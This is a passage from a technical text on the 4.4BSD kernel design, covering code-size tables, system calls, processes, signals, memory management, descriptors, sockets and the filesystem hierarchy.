<td>4.6</td>
</tr>
<tr>
<td>initialization</td>
<td>1,107</td>
<td>0.6</td>
</tr>
<tr>
<td>kernel facilities</td>
<td>8,793</td>
<td>4.4</td>
</tr>
<tr>
<td>generic interfaces</td>
<td>4,782</td>
<td>2.4</td>
</tr>
<tr>
<td>interprocess communication</td>
<td>4,540</td>
<td>2.2</td>
</tr>
<tr>
<td>terminal handling</td>
<td>3,911</td>
<td>1.9</td>
</tr>
<tr>
<td>virtual memory</td>
<td>11,813</td>
<td>5.8</td>
</tr>
<tr>
<td>vnode management</td>
<td>7,954</td>
<td>3.9</td>
</tr>
<tr>
<td>filesystem naming</td>
<td>6,550</td>
<td>3.2</td>
</tr>
<tr>
<td>fast filestore</td>
<td>4,365</td>
<td>2.2</td>
</tr>
<tr>
<td>log-structure filestore</td>
<td>4,337</td>
<td>2.1</td>
</tr>
<tr>
<td>memory-based filestore</td>
<td>645</td>
<td>0.3</td>
</tr>
<tr>
<td>cd9660 filesystem</td>
<td>4,177</td>
<td>2.1</td>
</tr>
<tr>
<td>miscellaneous filesystems (10)</td>
<td>12,695</td>
<td>6.3</td>
</tr>
<tr>
<td>network filesystem</td>
<td>17,199</td>
<td>8.5</td>
</tr>
<tr>
<td>network communication</td>
<td>8,630</td>
<td>4.3</td>
</tr>
<tr>
<td>internet protocols</td>
<td>11,984</td>
<td>5.9</td>
</tr>
<tr>
<td>ISO protocols</td>
<td>23,924</td>
<td>11.8</td>
</tr>
<tr>
<td>X.25 protocols</td>
<td>10,626</td>
<td>5.3</td>
</tr>
<tr>
<td>XNS protocols</td>
<td>5,192</td>
<td>2.6</td>
</tr>
</tbody>
</table>
Most of the software in these categories is machine independent and is portable across different hardware architectures.
The machine-dependent aspects of the kernel are isolated from the mainstream code. In particular, none of the machine-independent code contains conditional code for specific architecture. When an architecture-dependent action is needed, the machine-independent code calls an architecture-dependent function that is located in the machine-dependent code. The software that is machine dependent includes
- Low-level system-startup actions
- Trap and fault handling
- Low-level manipulation of the run-time context of a process
- Configuration and initialization of hardware devices
- Run-time support for I/O devices
*Table 2. Machine-dependent software for the HP300 in the 4.4BSD kernel*
<table>
<thead>
<tr>
<th>Category</th>
<th>Lines of code</th>
<th>Percentage of kernel</th>
</tr>
</thead>
<tbody>
<tr>
<td>machine dependent headers</td>
<td>1,562</td>
<td>0.8</td>
</tr>
<tr>
<td>device driver headers</td>
<td>3,495</td>
<td>1.7</td>
</tr>
<tr>
<td>device driver source</td>
<td>17,506</td>
<td>8.7</td>
</tr>
<tr>
<td>virtual memory</td>
<td>3,087</td>
<td>1.5</td>
</tr>
<tr>
<td>other machine dependent</td>
<td>6,287</td>
<td>3.1</td>
</tr>
<tr>
<td>routines in assembly language</td>
<td>3,014</td>
<td>1.5</td>
</tr>
<tr>
<td>HP/UX compatibility</td>
<td>4,683</td>
<td>2.3</td>
</tr>
</tbody>
</table>
Machine-independent software in the 4.4BSD kernel summarizes the machine-independent software that constitutes the 4.4BSD kernel for the HP300. The numbers in column 2 are for lines of C source code, header files, and assembly language. Virtually all the software in the kernel is written in the C programming language; less than 2 percent is written in assembly language. As the statistics in Machine-dependent software for the HP300 in the 4.4BSD kernel show, the machine-dependent software, excluding HP/UX and device support, accounts for a minuscule 6.9 percent of the kernel.
Only a small part of the kernel is devoted to initializing the system. This code is used when the system is bootstrapped into operation and is responsible for setting up the kernel hardware and software environment (see Chapter 14). Some operating systems (especially those with limited physical memory) discard or overlay the software that performs these functions after that software has been executed. The 4.4BSD kernel does not reclaim the memory used by the startup code because that memory space is barely 0.5 percent of the kernel resources used on a typical machine. Also, the startup code does not appear in one place in the kernel—it is scattered throughout, and it usually appears in places logically associated with what is being initialized.
### 2.1.3. Kernel Services
The boundary between the kernel- and user-level code is enforced by hardware-protection facilities provided by the underlying hardware. The kernel operates in a separate address space that is inaccessible to user processes. Privileged operations—such as starting I/O and halting the central processing unit (CPU)—are available to only the kernel. Applications request services from the kernel with system calls. System calls are used to cause the kernel to execute complicated operations, such as writing data to secondary storage, and simple operations, such as returning the current time of day. All system calls appear synchronous to applications: The application does not run while the kernel does the actions associated with a system call. The kernel may finish some operations associated with a system call after it has returned. For example, a write system call will copy the data to be written from the user process to a kernel buffer while the process waits, but will usually return from the system call before the kernel buffer is written to the disk.
A system call usually is implemented as a hardware trap that changes the CPU's execution mode and the current address-space mapping. Parameters supplied by users in system calls are validated by the kernel before being used. Such checking ensures the integrity of the system. All parameters passed into the kernel are copied into the kernel’s address space, to ensure that validated parameters are not changed as a side effect of the system call. System-call results are returned by
the kernel, either in hardware registers or by their values being copied to user-specified memory addresses. Like parameters passed into the kernel, addresses used for the return of results must be validated to ensure that they are part of an application's address space. If the kernel encounters an error while processing a system call, it returns an error code to the user. For the C programming language, this error code is stored in the global variable `errno`, and the function that executed the system call returns the value -1.
User applications and the kernel operate independently of each other. 4.4BSD does not store I/O control blocks or other operating-system-related data structures in the application's address space. Each user-level application is provided an independent address space in which it executes. The kernel makes most state changes, such as suspending a process while another is running, invisible to the processes involved.
2.1.4. Process Management
4.4BSD supports a multitasking environment. Each task or thread of execution is termed a process. The context of a 4.4BSD process consists of user-level state, including the contents of its address space and the run-time environment, and kernel-level state, which includes scheduling parameters, resource controls, and identification information. The context includes everything used by the kernel in providing services for the process. Users can create processes, control the processes' execution, and receive notification when the processes' execution status changes. Every process is assigned a unique value, termed a process identifier (PID). This value is used by the kernel to identify a process when reporting status changes to a user, and by a user when referencing a process in a system call.
The kernel creates a process by duplicating the context of another process. The new process is termed a child process of the original parent process. The context duplicated in process creation includes both the user-level execution state of the process and the process's system state managed by the kernel. Important components of the kernel state are described in Chapter 4.
Process lifecycle
The process lifecycle is depicted in Process lifecycle. A process may create a new process that is a copy of the original by using the fork system call. The fork call returns twice: once in the parent process, where the return value is the process identifier of the child, and once in the child process, where the return value is 0. The parent-child relationship induces a hierarchical structure on the set of processes in the system. The new process shares all its parent's resources, such as file descriptors, signal-handling status, and memory layout.
Although there are occasions when the new process is intended to be a copy of the parent, the loading and execution of a different program is a more useful and typical action. A process can overlay itself with the memory image of another program, passing to the newly created image a set
of parameters, using the system call `execve`. One parameter is the name of a file whose contents are in a format recognized by the system—either a binary-executable file or a file that causes the execution of a specified interpreter program to process its contents.
A process may terminate by executing an `exit` system call, sending 8 bits of exit status to its parent. If a process wants to communicate more than a single byte of information with its parent, it must either set up an interprocess-communication channel using pipes or sockets, or use an intermediate file. Interprocess communication is discussed extensively in Chapter 11.
A process can suspend execution until any of its child processes terminate using the `wait` system call, which returns the PID and exit status of the terminated child process. A parent process can arrange to be notified by a signal when a child process exits or terminates abnormally. Using the `wait4` system call, the parent can retrieve information about the event that caused termination of the child process and about resources consumed by the process during its lifetime. If a process is orphaned because its parent exits before it is finished, then the kernel arranges for the child's exit status to be passed back to a special system process `init`; see Sections 3.1 and 14.6).
The details of how the kernel creates and destroys processes are given in Chapter 5.
Processes are scheduled for execution according to a `process-priority` parameter. This priority is managed by a kernel-based scheduling algorithm. Users can influence the scheduling of a process by specifying a parameter (`nice`) that weights the overall scheduling priority, but are still obligated to share the underlying CPU resources according to the kernel's scheduling policy.
### 2.1.4.1. Signals
The system defines a set of `signals` that may be delivered to a process. Signals in 4.4BSD are modeled after hardware interrupts. A process may specify a user-level subroutine to be a `handler` to which a signal should be delivered. When a signal is generated, it is blocked from further occurrence while it is being `caught` by the handler. Catching a signal involves saving the current process context and building a new one in which to run the handler. The signal is then delivered to the handler, which can either abort the process or return to the executing process (perhaps after setting a global variable). If the handler returns, the signal is unblocked and can be generated (and caught) again.
Alternatively, a process may specify that a signal is to be `ignored`, or that a default action, as determined by the kernel, is to be taken. The default action of certain signals is to terminate the process. This termination may be accompanied by creation of a `core file` that contains the current memory image of the process for use in postmortem debugging.
Some signals cannot be caught or ignored. These signals include `SIGKILL`, which kills runaway processes, and the job-control signal `SIGSTOP`.
A process may choose to have signals delivered on a special stack so that sophisticated software stack manipulations are possible. For example, a language supporting coroutines needs to provide a stack for each coroutine. The language run-time system can allocate these stacks by dividing up the single stack provided by 4.4BSD. If the kernel does not support a separate signal stack, the space allocated for each coroutine must be expanded by the amount of space required to catch a signal.
All signals have the same `priority`. If multiple signals are pending simultaneously, the order in
which signals are delivered to a process is implementation specific. Signal handlers execute with the signal that caused their invocation to be blocked, but other signals may yet occur. Mechanisms are provided so that processes can protect critical sections of code against the occurrence of specified signals.
The detailed design and implementation of signals is described in Section 4.7.
### 2.1.4.2. Process Groups and Sessions
Processes are organized into *process groups*. Process groups are used to control access to terminals and to provide a means of distributing signals to collections of related processes. A process inherits its process group from its parent process. Mechanisms are provided by the kernel to allow a process to alter its process group or the process group of its descendants. Creating a new process group is easy; the value of a new process group is ordinarily the process identifier of the creating process.
The group of processes in a process group is sometimes referred to as a *job* and is manipulated by high-level system software, such as the shell. A common kind of job created by a shell is a *pipeline* of several processes connected by pipes, such that the output of the first process is the input of the second, the output of the second is the input of the third, and so forth. The shell creates such a job by forking a process for each stage of the pipeline, then putting all those processes into a separate process group.
A user process can send a signal to each process in a process group, as well as to a single process. A process in a specific process group may receive software interrupts affecting the group, causing the group to suspend or resume execution, or to be interrupted or terminated.
A terminal has a process-group identifier assigned to it. This identifier is normally set to the identifier of a process group associated with the terminal. A job-control shell may create a number of process groups associated with the same terminal; the terminal is the *controlling terminal* for each process in these groups. A process may read from a descriptor for its controlling terminal only if the terminal’s process-group identifier matches that of the process. If the identifiers do not match, the process will be blocked if it attempts to read from the terminal. By changing the process-group identifier of the terminal, a shell can arbitrate a terminal among several different jobs. This arbitration is called *job control* and is described, with process groups, in Section 4.8.
Just as a set of related processes can be collected into a process group, a set of process groups can be collected into a *session*. The main uses for sessions are to create an isolated environment for a daemon process and its children, and to collect together a user’s login shell and the jobs that shell spawns.
### 2.1.5. Memory Management
Each process has its own private address space. The address space is initially divided into three logical segments: *text*, *data*, and *stack*. The text segment is read-only and contains the machine instructions of a program. The data and stack segments are both readable and writable. The data segment contains the initialized and uninitialized data portions of a program, whereas the stack segment holds the application’s run-time stack. On most machines, the stack segment is extended automatically by the kernel as the process executes. A process can expand or contract its data segment by making a system call, whereas a process can change the size of its text segment only
when the segment's contents are overlaid with data from the filesystem, or when debugging takes
place. The initial contents of the segments of a child process are duplicates of the segments of a
parent process.
The entire contents of a process address space do not need to be resident for a process to execute. If
a process references a part of its address space that is not resident in main memory, the system
pages the necessary information into memory. When system resources are scarce, the system uses a
two-level approach to maintain available resources. If a modest amount of memory is available, the
system will take memory resources away from processes if these resources have not been used
recently. Should there be a severe resource shortage, the system will resort to swapping the entire
context of a process to secondary storage. The demand paging and swapping done by the system are
effectively transparent to processes. A process may, however, advise the system about expected
future memory utilization as a performance aid.
2.1.5.1. BSD Memory-Management Design Decisions
The support of large sparse address spaces, mapped files, and shared memory was a requirement
for 4.2BSD. An interface was specified, called mmap, that allowed unrelated processes to request a
shared mapping of a file into their address spaces. If multiple processes mapped the same file into
their address spaces, changes to the file's portion of an address space by one process would be
reflected in the area mapped by the other processes, as well as in the file itself. Ultimately, 4.2BSD
was shipped without the mmap interface, because of pressure to make other features, such as
networking, available.
Further development of the mmap interface continued during the work on 4.3BSD. Over 40
companies and research groups participated in the discussions leading to the revised architecture
that was described in the Berkeley Software Architecture Manual [McKusick et al., 1994]. Several of
the companies have implemented the revised interface [Gingell et al., 1987].
Once again, time pressure prevented 4.3BSD from providing an implementation of the interface.
Although the latter could have been built into the existing 4.3BSD virtual-memory system, the
developers decided not to put it in because that implementation was nearly 10 years old.
Furthermore, the original virtual-memory design was based on the assumption that computer
memories were small and expensive, whereas disks were locally connected, fast, large, and
inexpensive. Thus, the virtual-memory system was designed to be frugal with its use of memory at
the expense of generating extra disk traffic. In addition, the 4.3BSD implementation was riddled
with VAX memory-management hardware dependencies that impeded its portability to other
computer architectures. Finally, the virtual-memory system was not designed to support the tightly
coupled multiprocessors that are becoming increasingly common and important today.
Attempts to improve the old implementation incrementally seemed doomed to failure. A
completely new design, on the other hand, could take advantage of large memories, conserve disk
transfers, and have the potential to run on multiprocessors. Consequently, the virtual-memory
system was completely replaced in 4.4BSD. The 4.4BSD virtual-memory system is based on the
Mach 2.0 VM system [Tevanian, 1987], with updates from Mach 2.5 and Mach 3.0. It features
efficient support for sharing, a clean separation of machine-independent and machine-dependent
features, as well as (currently unused) multiprocessor support. Processes can map files anywhere
in their address space. They can share parts of their address space by doing a shared mapping of
the same file. Changes made by one process are visible in the address space of the other process,
and also are written back to the file itself. Processes can also request private mappings of a file, which prevents any changes that they make from being visible to other processes mapping the file or being written back to the file itself.
Another issue with the virtual-memory system is the way that information is passed into the kernel when a system call is made. 4.4BSD always copies data from the process address space into a buffer in the kernel. For read or write operations that are transferring large quantities of data, doing the copy can be time consuming. An alternative to doing the copying is to remap the process memory into the kernel. The 4.4BSD kernel always copies the data for several reasons:
- Often, the user data are not page aligned and are not a multiple of the hardware page length.
- If the page is taken away from the process, it will no longer be able to reference that page. Some programs depend on the data remaining in the buffer even after those data have been written.
- If the process is allowed to keep a copy of the page (as it is in current 4.4BSD semantics), the page must be made *copy-on-write*. A copy-on-write page is one that is protected against being written by being made read-only. If the process attempts to modify the page, the kernel gets a write fault. The kernel then makes a copy of the page that the process can modify. Unfortunately, the typical process will immediately try to write new data to its output buffer, forcing the data to be copied anyway.
- When pages are remapped to new virtual-memory addresses, most memory-management hardware requires that the hardware address-translation cache be purged selectively. The cache purges are often slow. The net effect is that remapping is slower than copying for blocks of data less than 4 to 8 Kbyte.
The biggest incentives for memory mapping are the needs for accessing big files and for passing large quantities of data between processes. The *mmap* interface provides a way for both of these tasks to be done without copying.
### 2.1.5.2. Memory Management Inside the Kernel
The kernel often does allocations of memory that are needed for only the duration of a single system call. In a user process, such short-term memory would be allocated on the run-time stack. Because the kernel has a limited run-time stack, it is not feasible to allocate even moderate-sized blocks of memory on it. Consequently, such memory must be allocated through a more dynamic mechanism. For example, when the system must translate a pathname, it must allocate a 1-Kbyte buffer to hold the name. Other blocks of memory must be more persistent than a single system call, and thus could not be allocated on the stack even if there was space. An example is protocol-control blocks that remain throughout the duration of a network connection.
Demands for dynamic memory allocation in the kernel have increased as more services have been added. A generalized memory allocator reduces the complexity of writing code inside the kernel. Thus, the 4.4BSD kernel has a single memory allocator that can be used by any part of the system. It has an interface similar to the C library routines *malloc* and *free* that provide memory allocation to application programs [McKusick & Karels, 1988]. Like the C library interface, the allocation routine takes a parameter specifying the size of memory that is needed. The range of sizes for memory requests is not constrained; however, physical memory is allocated and is not paged. The free routine takes a pointer to the storage being freed, but does not require the size of the piece of memory being freed.
2.1.6. I/O System
The basic model of the UNIX I/O system is a sequence of bytes that can be accessed either randomly or sequentially. There are no access methods and no control blocks in a typical UNIX user process.
Different programs expect various levels of structure, but the kernel does not impose structure on I/O. For instance, the convention for text files is lines of ASCII characters separated by a single newline character (the ASCII line-feed character), but the kernel knows nothing about this convention. For the purposes of most programs, the model is further simplified to being a stream of data bytes, or an I/O stream. It is this single common data form that makes the characteristic UNIX tool-based approach work [Kernighan & Pike, 1984]. An I/O stream from one program can be fed as input to almost any other program. (This kind of traditional UNIX I/O stream should not be confused with the Eighth Edition stream I/O system or with the System V, Release 3 STREAMS, both of which can be accessed as traditional I/O streams.)
2.1.6.1. Descriptors and I/O
UNIX processes use descriptors to reference I/O streams. Descriptors are small unsigned integers obtained from the open and socket system calls. The open system call takes as arguments the name of a file and a permission mode to specify whether the file should be open for reading or for writing, or for both. This system call also can be used to create a new, empty file. A read or write system call can be applied to a descriptor to transfer data. The close system call can be used to deallocate any descriptor.
Descriptors represent underlying objects supported by the kernel, and are created by system calls specific to the type of object. In 4.4BSD, three kinds of objects can be represented by descriptors: files, pipes, and sockets.
• A file is a linear array of bytes with at least one name. A file exists until all its names are deleted explicitly and no process holds a descriptor for it. A process acquires a descriptor for a file by opening that file’s name with the open system call. I/O devices are accessed as files.
• A pipe is a linear array of bytes, as is a file, but it is used solely as an I/O stream, and it is unidirectional. It also has no name, and thus cannot be opened with open. Instead, it is created by the pipe system call, which returns two descriptors, one of which accepts input that is sent to the other descriptor reliably, without duplication, and in order. The system also supports a named pipe or FIFO. A FIFO has properties identical to a pipe, except that it appears in the filesystem; thus, it can be opened using the open system call. Two processes that wish to communicate each open the FIFO: One opens it for reading, the other for writing.
• A socket is a transient object that is used for interprocess communication; it exists only as long as some process holds a descriptor referring to it. A socket is created by the socket system call, which returns a descriptor for it. There are different kinds of sockets that support various communication semantics, such as reliable delivery of data, preservation of message ordering, and preservation of message boundaries.
In systems before 4.2BSD, pipes were implemented using the filesystem; when sockets were introduced in 4.2BSD, pipes were reimplemented as sockets.
The kernel keeps for each process a descriptor table, which is a table that the kernel uses to
translate the external representation of a descriptor into an internal representation. (The descriptor is merely an index into this table.) The descriptor table of a process is inherited from that process's parent, and thus access to the objects to which the descriptors refer also is inherited. The main ways that a process can obtain a descriptor are by opening or creation of an object, and by inheritance from the parent process. In addition, socket IPC allows passing of descriptors in messages between unrelated processes on the same machine.
Every valid descriptor has an associated file offset in bytes from the beginning of the object. Read and write operations start at this offset, which is updated after each data transfer. For objects that permit random access, the file offset also may be set with the lseek system call. Ordinary files permit random access, and some devices do, as well. Pipes and sockets do not.
When a process terminates, the kernel reclaims all the descriptors that were in use by that process. If the process was holding the final reference to an object, the object’s manager is notified so that it can do any necessary cleanup actions, such as final deletion of a file or deallocation of a socket.
2.1.6.2. Descriptor Management
Most processes expect three descriptors to be open already when they start running. These descriptors are 0, 1, 2, more commonly known as standard input, standard output, and standard error, respectively. Usually, all three are associated with the user’s terminal by the login process (see Section 14.6) and are inherited through fork and exec by processes run by the user. Thus, a program can read what the user types by reading standard input, and the program can send output to the user’s screen by writing to standard output. The standard error descriptor also is open for writing and is used for error output, whereas standard output is used for ordinary output.
These (and other) descriptors can be mapped to objects other than the terminal; such mapping is called I/O redirection, and all the standard shells permit users to do it. The shell can direct the output of a program to a file by closing descriptor 1 (standard output) and opening the desired output file to produce a new descriptor 1. It can similarly redirect standard input to come from a file by closing descriptor 0 and opening the file.
Pipes allow the output of one program to be input to another program without rewriting or even relinking of either program. Instead of descriptor 1 (standard output) of the source program being set up to write to the terminal, it is set up to be the input descriptor of a pipe. Similarly, descriptor 0 (standard input) of the sink program is set up to reference the output of the pipe, instead of the terminal keyboard. The resulting set of two processes and the connecting pipe is known as a pipeline. Pipelines can be arbitrarily long series of processes connected by pipes.
The open, pipe, and socket system calls produce new descriptors with the lowest unused number usable for a descriptor. For pipelines to work, some mechanism must be provided to map such descriptors into 0 and 1. The dup system call creates a copy of a descriptor that points to the same file-table entry. The new descriptor is also the lowest unused one, but if the desired descriptor is closed first, dup can be used to do the desired mapping. Care is required, however: If descriptor 1 is desired, and descriptor 0 happens also to have been closed, descriptor 0 will be the result. To avoid this problem, the system provides the dup2 system call; it is like dup, but it takes an additional argument specifying the number of the desired descriptor (if the desired descriptor was already open, dup2 closes it before reusing it).
2.1.6.3. Devices
Hardware devices have filenames, and may be accessed by the user via the same system calls used for regular files. The kernel can distinguish a device special file or special file, and can determine to what device it refers, but most processes do not need to make this determination. Terminals, printers, and tape drives are all accessed as though they were streams of bytes, like 4.4BSD disk files. Thus, device dependencies and peculiarities are kept in the kernel as much as possible, and even in the kernel most of them are segregated in the device drivers.
Hardware devices can be categorized as either structured or unstructured; they are known as block or character devices, respectively. Processes typically access devices through special files in the filesystem. I/O operations to these files are handled by kernel-resident software modules termed device drivers. Most network-communication hardware devices are accessible through only the interprocess-communication facilities, and do not have special files in the filesystem name space, because the raw-socket interface provides a more natural interface than does a special file.
Structured or block devices are typified by disks and magnetic tapes, and include most random-access devices. The kernel supports read-modify-write-type buffering actions on block-oriented structured devices to allow the latter to be read and written in a totally random byte-addressed fashion, like regular files. Filesystems are created on block devices.
Unstructured devices are those devices that do not support a block structure. Familiar unstructured devices are communication lines, raster plotters, and unbuffered magnetic tapes and disks. Unstructured devices typically support large block I/O transfers.
Unstructured files are called character devices because the first of these to be implemented were terminal device drivers. The kernel interface to the driver for these devices proved convenient for other devices that were not block structured.
Device special files are created by the mknod system call. There is an additional system call, ioctl, for manipulating the underlying device parameters of special files. The operations that can be done differ for each device. This system call allows the special characteristics of devices to be accessed, rather than overloading the semantics of other system calls. For example, there is an ioctl on a tape drive to write an end-of-tape mark, instead of there being a special or modified version of write.
2.1.6.4. Socket IPC
The 4.2BSD kernel introduced an IPC mechanism more flexible than pipes, based on sockets. A socket is an endpoint of communication referred to by a descriptor, just like a file or a pipe. Two processes can each create a socket, and then connect those two endpoints to produce a reliable byte stream. Once connected, the descriptors for the sockets can be read or written by processes, just as the latter would do with a pipe. The transparency of sockets allows the kernel to redirect the output of one process to the input of another process residing on another machine. A major difference between pipes and sockets is that pipes require a common parent process to set up the communications channel. A connection between sockets can be set up by two unrelated processes, possibly residing on different machines.
System V provides local interprocess communication through FIFOs (also known as named pipes). FIFOs appear as an object in the filesystem that unrelated processes can open and send data.
through in the same way as they would communicate through a pipe. Thus, FIFOs do not require a common parent to set them up; they can be connected after a pair of processes are up and running. Unlike sockets, FIFOs can be used on only a local machine; they cannot be used to communicate between processes on different machines. FIFOs are implemented in 4.4BSD only because they are required by the POSIX.1 standard. Their functionality is a subset of the socket interface.
The socket mechanism requires extensions to the traditional UNIX I/O system calls to provide the associated naming and connection semantics. Rather than overloading the existing interface, the developers used the existing interfaces to the extent that the latter worked without being changed, and designed new interfaces to handle the added semantics. The read and write system calls were used for byte-stream type connections, but six new system calls were added to allow sending and receiving addressed messages such as network datagrams. The system calls for writing messages include send, sendto, and sendmsg. The system calls for reading messages include recv, recvfrom, and recvmsg. In retrospect, the first two in each class are special cases of the others; recvfrom and sendto probably should have been added as library interfaces to recvmsg and sendmsg, respectively.
2.1.6.5. Scatter/Gather I/O
In addition to the traditional read and write system calls, 4.2BSD introduced the ability to do scatter/gather I/O. Scatter input uses the readv system call to allow a single read to be placed in several different buffers. Conversely, the writev system call allows several different buffers to be written in a single atomic write. Instead of passing a single buffer and length parameter, as is done with read and write, the process passes in a pointer to an array of buffers and lengths, along with a count describing the size of the array.
This facility allows buffers in different parts of a process address space to be written atomically, without the need to copy them to a single contiguous buffer. Atomic writes are necessary in the case where the underlying abstraction is record based, such as tape drives that output a tape block on each write request. It is also convenient to be able to read a single request into several different buffers (such as a record header into one place and the data into another). Although an application can simulate the ability to scatter data by reading the data into a large buffer and then copying the pieces to their intended destinations, the cost of memory-to-memory copying in such cases often would more than double the running time of the affected application.
Just as send and recv could have been implemented as library interfaces to sendto and recvfrom, it also would have been possible to simulate read with readv and write with writev. However, read and write are used so much more frequently that the added cost of simulating them would not have been worthwhile.
2.1.6.6. Multiple Filesystem Support
With the expansion of network computing, it became desirable to support both local and remote filesystems. To simplify the support of multiple filesystems, the developers added a new virtual node or vnode interface to the kernel. The set of operations exported from the vnode interface appear much like the filesystem operations previously supported by the local filesystem. However, they may be supported by a wide range of filesystem types:
- Local disk-based filesystems
- Files imported using a variety of remote filesystem protocols
- Read-only CD-ROM filesystems
- Filesystems providing special-purpose interfaces — for example, the /proc filesystem
A few variants of 4.4BSD, such as FreeBSD, allow filesystems to be loaded dynamically when the filesystems are first referenced by the mount system call. The vnode interface is described in Section 6.5; its ancillary support routines are described in Section 6.6; several of the special-purpose filesystems are described in Section 6.7.
2.1.7. Filesystems
A regular file is a linear array of bytes, and can be read and written starting at any byte in the file. The kernel distinguishes no record boundaries in regular files, although many programs recognize line-feed characters as distinguishing the ends of lines, and other programs may impose other structure. No system-related information about a file is kept in the file itself, but the filesystem stores a small amount of ownership, protection, and usage information with each file.
A filename component is a string of up to 255 characters. These filenames are stored in a type of file called a directory. The information in a directory about a file is called a directory entry and includes, in addition to the filename, a pointer to the file itself. Directory entries may refer to other directories, as well as to plain files. A hierarchy of directories and files is thus formed, and is called a filesystem;
A small filesystem
![Diagram of a small filesystem]
a small one is shown in A small filesystem. Directories may contain subdirectories, and there is no inherent limitation to the depth with which directory nesting may occur. To protect the consistency of the filesystem, the kernel does not permit processes to write directly into directories. A filesystem may include not only plain files and directories, but also references to other objects, such as devices and sockets.
The filesystem forms a tree, the beginning of which is the root directory, sometimes referred to by the name slash, spelled with a single solidus character (/). The root directory contains files; in our example in Fig 2.2, it contains vmunix, a copy of the kernel-executable object file. It also contains directories; in this example, it contains the usr directory. Within the usr directory is the bin directory, which mostly contains executable object code of programs, such as the files ls and vi.
A process identifies a file by specifying that file's *pathname*, which is a string composed of zero or more filenames separated by slash (/) characters. The kernel associates two directories with each process for use in interpreting pathnames. A process's *root directory* is the topmost point in the filesystem that the process can access; it is ordinarily set to the root directory of the entire filesystem. A pathname beginning with a slash is called an *absolute pathname*, and is interpreted by the kernel starting with the process’s root directory.
A pathname that does not begin with a slash is called a *relative pathname*, and is interpreted relative to the *current working directory* of the process. (This directory also is known by the shorter names *current directory* or *working directory.*) The current directory itself may be referred to directly by the name *dot*, spelled with a single period (.). The filename *dot-dot* (..) refers to a directory’s parent directory. The root directory is its own parent.
A process may set its root directory with the *chroot* system call, and its current directory with the *chdir* system call. Any process may do *chdir* at any time, but *chroot* is permitted only a process with superuser privileges. *Chroot* is normally used to set up restricted access to the system.
Using the filesystem shown in Fig. 2.2, if a process has the root of the filesystem as its root directory, and has /usr as its current directory, it can refer to the file vi either from the root with the absolute pathname /usr/bin/vi, or from its current directory with the relative pathname bin/vi.
System utilities and databases are kept in certain well-known directories. Part of the well-defined hierarchy includes a directory that contains the *home directory* for each user—for example, /usr/staff/mckusick and /usr/staff/karels in Fig. 2.2. When users log in, the current working directory of their shell is set to the home directory. Within their home directories, users can create directories as easily as they can regular files. Thus, a user can build arbitrarily complex subhierarchies.
The user usually knows of only one filesystem, but the system may know that this one virtual filesystem is really composed of several physical filesystems, each on a different device. A physical filesystem may not span multiple hardware devices. Since most physical disk devices are divided into several logical devices, there may be more than one filesystem per physical device, but there will be no more than one per logical device. One filesystem—the filesystem that anchors all absolute pathnames—is called the *root filesystem*, and is always available. Others may be mounted; that is, they may be integrated into the directory hierarchy of the root filesystem. References to a directory that has a filesystem mounted on it are converted transparently by the kernel into references to the root directory of the mounted filesystem.
The *link* system call takes the name of an existing file and another name to create for that file. After a successful *link*, the file can be accessed by either filename. A filename can be removed with the *unlink* system call. When the final name for a file is removed (and the final process that has the file open closes it), the file is deleted.
Files are organized hierarchically in *directories*. A directory is a type of file, but, in contrast to regular files, a directory has a structure imposed on it by the system. A process can read a directory as it would an ordinary file, but only the kernel is permitted to modify a directory. Directories are created by the *mkdir* system call and are removed by the *rmdir* system call. Before 4.2BSD, the *mkdir* and *rmdir* system calls were implemented by a series of *link* and *unlink* system calls being done. There were three reasons for adding systems calls explicitly to create and delete directories:
1. The operation could be made atomic. If the system crashed, the directory would not be left half-constructed, as could happen when a series of link operations were used.
2. When a networked filesystem is being run, the creation and deletion of files and directories need to be specified atomically so that they can be serialized.
3. When supporting non-UNIX filesystems, such as an MS-DOS filesystem, on another partition of the disk, the other filesystem may not support link operations. Although other filesystems might support the concept of directories, they probably would not create and delete the directories with links, as the UNIX filesystem does. Consequently, they could create and delete directories only if explicit directory create and delete requests were presented.
The `chown` system call sets the owner and group of a file, and `chmod` changes protection attributes. `Stat` applied to a filename can be used to read back such properties of a file. The `fchown`, `fchmod`, and `fstat` system calls are applied to a descriptor, instead of to a filename, to do the same set of operations. The `rename` system call can be used to give a file a new name in the filesystem, replacing one of the file’s old names. Like the directory-creation and directory-deletion operations, the `rename` system call was added to 4.2BSD to provide atomicity to name changes in the local filesystem. Later, it proved useful explicitly to export renaming operations to foreign filesystems and over the network.
The `truncate` system call was added to 4.2BSD to allow files to be shortened to an arbitrary offset. The call was added primarily in support of the Fortran run-time library, which has the semantics such that the end of a random-access file is set to be wherever the program most recently accessed that file. Without the `truncate` system call, the only way to shorten a file was to copy the part that was desired to a new file, to delete the old file, then to rename the copy to the original name. As well as this algorithm being slow, the library could potentially fail on a full filesystem.
Once the filesystem had the ability to shorten files, the kernel took advantage of that ability to shorten large empty directories. The advantage of shortening empty directories is that it reduces the time spent in the kernel searching them when names are being created or deleted.
Newly created files are assigned the user identifier of the process that created them and the group identifier of the directory in which they were created. A three-level access-control mechanism is provided for the protection of files. These three levels specify the accessibility of a file to
1. The user who owns the file
2. The group that owns the file
3. Everyone else
Each level of access has separate indicators for read permission, write permission, and execute permission.
Files are created with zero length, and may grow when they are written. While a file is open, the system maintains a pointer into the file indicating the current location in the file associated with the descriptor. This pointer can be moved about in the file in a random-access fashion. Processes sharing a file descriptor through a `fork` or `dup` system call share the current location pointer. Descriptors created by separate `open` system calls have separate current location pointers. Files may have holes in them. Holes are void areas in the linear extent of the file where data have never been written. A process can create these holes by positioning the pointer past the current end-of-file
and writing. When read, holes are treated by the system as zero-valued bytes.
Earlier UNIX systems had a limit of 14 characters per filename component. This limitation was often a problem. For example, in addition to the natural desire of users to give files long descriptive names, a common way of forming filenames is as basename.extension, where the extension (indicating the kind of file, such as .c for C source or .o for intermediate binary object) is one to three characters, leaving 10 to 12 characters for the basename. Source-code-control systems and editors usually take up another two characters, either as a prefix or a suffix, for their purposes, leaving eight to 10 characters. It is easy to use 10 or 12 characters in a single English word as a basename (e.g., multiplexer).
It is possible to keep within these limits, but it is inconvenient or even dangerous, because other UNIX systems accept strings longer than the limit when creating files, but then truncate to the limit. A C language source file named multiplexerc.c (already 13 characters) might have a source-code-control file with s prepended, producing a filename s.multiplexer that is indistinguishable from the source-code-control file for multiplexer.ms, a file containing troff source for documentation for the C program. The contents of the two original files could easily get confused with no warning from the source-code-control system. Careful coding can detect this problem, but the long filenames first introduced in 4.2BSD practically eliminate it.
### 2.1.8. Filestores
